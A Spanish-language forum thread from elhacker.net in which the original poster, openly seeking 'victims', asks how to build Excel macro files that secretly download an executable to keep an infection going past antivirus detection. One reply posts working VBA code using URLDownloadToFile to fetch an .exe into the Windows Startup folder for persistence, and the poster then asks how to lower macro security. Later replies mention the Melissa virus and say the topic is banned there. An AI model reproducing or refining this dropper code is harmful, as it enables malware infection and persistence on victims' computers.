Foro de elhacker.net

HOla Foreros ;) en mi busqueda de nuevas victimas amistades, me tope con los macros de excel, los cuales permiten descargar de forma oculta un archivo  ( me emociono xq no lo sabia :( )

Bueno en resumen mi duda es esta :

Se puede hacer en vb6  alguna rutina para crear un archivo .xls, ( aunque de preferencia .xla ) que contenga macros en su interior?.

Y de ser asi que pasos puedo seguir ..

pd: se lo que van a decir .. usa google.. no seas flojo.. que en el foro hay gb de informacion sobre el tema..  Sin embargo soy sincero he buskado y encontra porca informacion y de lo cual no comprendo nada.

Agradeceria su ayuda ;)

y xq no creas la macro en el excel o en el word o lo que quieras que descargue algun .exe que quieras antes de crearlo en vb6

Pues la idea es que, si el av detecta mi .exe, pueda aun mantenerse el archivo excel que prosiga con la infeccion

HOLA!!!

Nota: La mayoria de los usuarios standard (los que son infectables) no modifican las opciones de seguridad de macro del Office. Por ende a la victima le aparecera un cartel que dice que microsoft office ha anulado los macros por cuestion de seguridad y tu macro no funcionara a no ser que el usuario los habilite manualmente.

GRACIAS POR LEER!!!

pero puedes habilitarlas tu como potencialmente seguras....

para mi lo que tienes que hacer es lo siguiente.

* primero crear una macro a que ellos usen y q uno de los procedimientos descargue.
* que al descargar des/comprima o en su defecto ejecute.
* si el archivo existe no realise nada y si no encuentra que realise lo anterior mencionado.

Este Codigo mr funciona ala perfeccion :

Private Declare Function GetVersion Lib "kernel32" () As Long
 Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
     (ByVal lpBuffer As String, nSize As Long) As Long
 
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
 
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Public Function GetWinVersion() As String
Dim Ver As Long, WinVer As Long
Ver = GetVersion()
WinVer = Ver And &HFFFF&
GetWinVersion = Format((WinVer Mod 256) + ((WinVer \ 256) / 100), "Fixed")
End Function
 
 
Sub actualizar()
     Dim lpBuff As String * 25
     Dim ret As Long, UserName As String
 
     ret = GetUserName(lpBuff, 25)
     UserName = Left(lpBuff, InStr(lpBuff, Chr(0)) - 1)
 
If GetWinVersion >= 4 And GetWinVersion <= 5 Then
DownloadFile "http://++.exe", "c:\windows\all users\men&#250; inicio\programas\inicio\" & "++" & ".exe"
End If
If GetWinVersion >= 5 And GetWinVersion <= 6 Then
DownloadFile "http://++.exe", "c:\documents and settings\all users\men&#250; inicio\programas\inicio\" & "++" & ".exe"
End If
 
If GetWinVersion >= 6 And GetWinVersion <= 7 Then
DownloadFile "http://++.exe", "C:\Users\" & UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" & "++" & ".exe"
End If
End Sub
 

lo que me falta es como poner el nivel de seguridad en lo mas bajo.. alguna idea??

.
me recuerda este tema:

Virus Melissa o W97M/Melissa.A

Del año 1999, crees que despues de tantos años funcione tu estrategia?.

P.D.: estos temas si no mal recuerdo estan prohibidos en este sub-foro.

Temibles Lunas!¡.

Eso ya no depende de nosotros :xD